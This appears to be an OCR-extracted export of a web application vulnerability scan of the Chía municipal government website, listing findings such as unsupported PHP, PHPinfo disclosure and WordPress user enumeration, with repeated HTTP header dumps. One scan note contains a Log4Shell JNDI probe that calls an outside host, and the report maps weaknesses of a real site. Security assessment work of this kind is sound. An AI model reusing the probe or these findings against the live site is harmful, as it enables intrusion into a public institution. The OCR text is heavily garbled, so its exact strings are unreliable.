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Scan Summary

Vulnerability Breakdown

1 0 (&) 36
CRITICAL HIGH \"/ MEDIUM Low

Scan Details

NAME SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/
STATUS Completed

CREATE TIME 12/19/2024 at 12:00 AMUTC

START TIME 12/19/2024 at 12:02 AMUTC

END TIME 12/19/2024 at 08:02 AM UTC

TEMPLATE Scan

SCANNER Cloud

TARGET https://chia-cundinamarca.gov.co/

DESCRIPTION SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/
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Scan Notes
Severiy] ScamMotes | Desorptin |

Medium  Request URL https://chia-cundinamarca.gov.co/web/?p=%24%7Bjndi%3Aldap % 3A%2F %2Fwas-log4shell-%24 %7Bdate %
Redirect Limit 3Ayyyy 7% 7DPUJXNbs60A8ToODA2LUH.w.nessus.org%7D&preview=true was not able to be fully audited due to reaching
Reached request redirect limit of 3.

Info Scan Time Limit The scan stopped at the specified scan time limit. Update your scan configuration settings if you want to update the
Reached scan time limit.

Info Authentication  The scanner has identified an authentication mechanism which could prevent it from accessing application pages.
Detected

Info Maximum Maximum number of instances to be reported for plugin ID 98050 has been reached. Scanner will not publish any other
number of results for this plugin ID.
results
published
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Scan Results

Vulnerabilities

Critical 98230 PHP Unsupported Version Component Vulnerability

Medium 98056 Missing HTTP Strict Transport Security Policy HTTP Security Header 25
Medium 98590 jQuery < 3.4.0 Prototype Pollution Component Vulnerability 1
Medium 112383 jQuery 1.2.0 < 3.5.0 Cross-Site Scripting Component Vulnerability 1
Medium 112435 jQuery 1.12.4 < 3.0.0 Cross-Site Scripting Component Vulnerability 1
Medium 98203 WordPress User Enumeration Web Applications 1
Medium 113449 WordPress Cron Enabled Component Vulnerability 1
Medium 98215 WordPress XML-RPC Interface Detected Component Vulnerability 1
Medium 113338 Web Cache Poisoning Web Applications 1
Medium 98779 Source Code Passive Disclosure Data Exposure 1
Medium 98223 PHPinfo Information Disclosure Web Applications 1
Medium 98623 Host Header Injection Injection 1
Medium 112556 MediaElement.js <2.21.1 Cross-Site Scripting Component Vulnerability 1
Low 112529 Missing 'X-Content-Type-Options' Header HTTP Security Header 25
Low 98618 HTTP Header Information Disclosure HTTP Security Header 25
Low 98060 Missing 'X-Frame-Options' Header HTTP Security Header 25
Low 112551 Missing Content Security Policy HTTP Security Header 25
Low 112553 Missing ‘Cache-Control' Header HTTP Security Header 25
Low 115540 Cookie Without SameSite Flag Detected HTTP Security Header 4
Low 98064 Cookie Without Secure Flag Detected HTTP Security Header 3
Low 98063 Cookie Without HttpOnly Flag Detected HTTP Security Header 2
Low 98206 Joomla! Administration Panel Login Form Detected Web Applications 1
Low 98207 WordPress Administration Panel Login Form Detected Web Applications 1
Low 113332 Login Form Cross-Site Request Forgery Cross Site Request Forgery 1
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PHP Unsupported Version

VULNERABILITY HeaN®y\® PLUGIN ID 98230

Description

The installation of PHP detected on the remote host is no longer supported. Lack of support implies that no new security
patches for the product will be released by the vendor. As aresult, it is likely to contain security vulnerabilities.

Solution

Upgrade to a supported version of PHP.

See Also
http://php.net/supported-versions.php

Plugin Details
PUBLICATION DATE 2018-08-09T00:00:00+00:00
MODIFICATION DATE 2024-01-11T00:00:00+00:00
FAMILY Component Vulnerability
SEVERITY Critical
PLUGINID 98230

Risk Information

CVSSV4 BASE SCORE =

CVSSV4 VECTOR -

CVSSV3 BASE SCORE 10.0

CVSSV3 VECTOR CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/1:H/A:H
CVSS BASE SCORE 10.0

CVSSVECTOR CVSS2#AV:N/AC:L/Au:N/C:C/1:C/A:C

Reference Information

CWE 16

WASC Application Misconfiguration

OWASP 2021-A5, 2013-A5, 2013-A9, 2017-A9, 2017-A6, 2021-A6, 2010-A8, 2023-API8, 2019-API7
CVE -

BID =
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PHP Unsupported Version Instances (1)

VULNERABILITY HeaN®y\® PLUGIN ID 98230

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

OUTPUT
Technol ogy PHP version 7.4.33 has been detected. Upgrade to the |ast supported version of PHP: 8.1
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https://chia-cundinamarca.gov.co/test.php

Missing HTTP Strict Transport Security Policy

VULNERABILITY E=bllligs  PLUGIN ID 98056

Description

The HTTP protocol by itself is clear text, meaning that any data that is transmitted via HTTP can be captured and the contents
viewed. To keep data private and prevent it from being intercepted, HTTP is often tunnelled through either Secure Sockets
Layer (SSL)or Transport Layer Security (TLS). When either of these encryption standards are used, it is referred to as HTTPS.

HTTP Strict Transport Security (HSTS)is an optional response header that can be configured on the server to instruct the
browser to only communicate via HTTPS. This will be enforced by the browser even if the user requestsa HTTP resource on the
same server.

Cyber-criminals will often attempt to compromise sensitive information passed from the client to the server using HTTP. This
can be conducted via various Man-in-The-Middle (MiTM) attacks or through network packet captures.

Scanner discovered that the affected application is using HTTPS however does not use the HSTS header.
Solution

Depending on the framework being used the implementation methods will vary, however it is advised that the ‘Strict-Transport-
Security  header be configured on the server.

One of the options for this header is ‘max-age’, which is a representation (in milliseconds) determining the time in which the
client's browser will adhere to the header policy.

Depending on the environment and the application this time period could be from as low as minutes to as long as days.

See Also

https://hstspreload.org/
https://tools.ietf.org/html/rfc6797
https://www.chromium.org/hsts

https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet

Plugin Details
PUBLICATION DATE 2017-03-31T00:00:00+00:00
MODIFICATION DATE 2024-03-18T00:00:00+00:00
FAMILY HTTP Security Header
SEVERITY Medium
PLUGIN ID 98056
Risk Information
CVSSV4 BASE SCORE =
CVSSV4 VECTOR -
CVSSV3 BASE SCORE 6.5
CVSSV3 VECTOR CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CVSS BASE SCORE 5.8
CVSS VECTOR CVSS2#AV:N/AC:M/Au:N/C:P/1:P/A:N
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https://tools.ietf.org/html/rfc6797
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Reference Information

CWE 319,523

WASC Insufficient Transport Layer Protection

OWASP 2010-A9, 2013-A6, 2017-A3, 2021-A2, 2023-API8, 2019-API7
CVE

BID =
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Missing HTTP Strict Transport Security Policy Instances (25)

VULNERABILITY E=bllligs  PLUGIN ID 98056

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi namar ca. gov. co/ web/ di rectorio/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 00: 46:26 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

QUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ comi enza- el - censo- a- bar es-y- est abl eci m ent os- noct urnos/ .

HTTP Info

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/directorio/
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ conmi enza- el - censo- a- bar es-y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
[ wp-j son/ wp/ v2/ post s/ 20823>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=20823>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ web.

HTTP Info

REQUEST MADE
CGET /web HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 301 Moved Pernanently

Server: ngi nx

Date: Thu, 19 Dec 2024 02:31:53 GV

Cont ent - Type: text/htm; charset=iso-8859-1
Cont ent - Lengt h: 245

Connection: keep-alive

Location: https://chia-cundi namar ca. gov. co/ web/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web

INSTANCE

https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi namar ca. gov. co/ web/ parti ci pa/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unif;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:39:13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
htt ps://chi a- cundi nanar ca. gov. co/ cont r ol panel /.

HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/participa/
https://chia-cundinamarca.gov.co/controlpanel/

Accept: */*
Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:57:07 GVI
Cont ent - Type: text/htn

Transf er - Encodi ng: chunked
Connection: keep-alive

Vary: Accept-Encoding

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT

The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL

https://chi a-cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko)
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03: 25:45 GVII
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Chrone/ 124. 0. 6367. 207 Safari/537. 36

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web

/wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json",
[/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/
https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ web/ al cal di a/ .

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:45:09 GV

Content - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=49>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ contr ol -i nt er no-di sci plinario/.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Sec- Ch- Ua- Mbbil e: ?0
Sec- Ch-Ua- Pl atform
Accept: */*
Accept - Language:

" Li nux"
en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/ >;
/wp-j son/ wp/ v2/ posts/ 616>; rel ="alternate"; title="JSON';
/web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

rel ="https://api.w org/",
type="application/json",

<https://chi a- cundi namar ca. gov. co/ web
<htt ps:// chi a- cundi namar ca. gov. co

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification
OUTPUT

The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - gr aci as- a- bl anca- donoso/ .

HTTP Info

REQUEST MADE

GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS
Sec- Fet ch- Dest :
Sec- Fet ch- Mode:
Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- I nsecur e- Requests: 1
User-Agent: Mzillal/5.0 (X11;
Sec- Ch-Ua: " Chrom uni;v="124",
Sec- Ch- Ua- Mbbi l e: 2?0
Sec- Ch-Ua- Pl atform
Accept: */*
Accept - Language:

docunent
navi gat e

"Headl essChrone"; v="124",
" Li nux"

en-US, en; q=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 07:08:06 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/ >;
/'wp-j son/ wp/ v2/ posts/ 22424>; rel ="alternate"; title="JSON';
[ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

Li nux x86_64) Appl eWebKit/537.36 (KHTM.,
“Not - A. Brand"; v="99"

rel ="https://api.worg/",

Ii ke Gecko) Chrone/ 124.0.6367.207 Safari/537.36

<htt ps://chi a- cundi namar ca. gov. co/ web

type="application/json", <https://chia-cundi namarca. gov. co

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web
Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-
servicios-publicos/

Identification

QUTPUT

The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de-| as- enpr esas- pr est ador as- de-

servici os-publicos/.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on-de- | as- enpr esas- pr est ador as- de-
servi ci os- publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov. co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a- cundi nanar ca. gov. co/ web/ trami t es-y-servici os/.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/tranites-y-servicios/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:50:28 GVI

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=63>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi nanar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVl
Cont ent - Type: text/htm; charset=UTF-8
Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 623>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co

[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or naci on- de- | a- ent i dad/ .

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVIT

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ posts/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/

Identification

QUTPUT
The scanner did not find any Strict-Transport-Security header in the response returned by the target when querying URL
https://chi a-cundi nanar ca. gov. co/ web/ .

Web Application Scanning Detailed Scan Export:
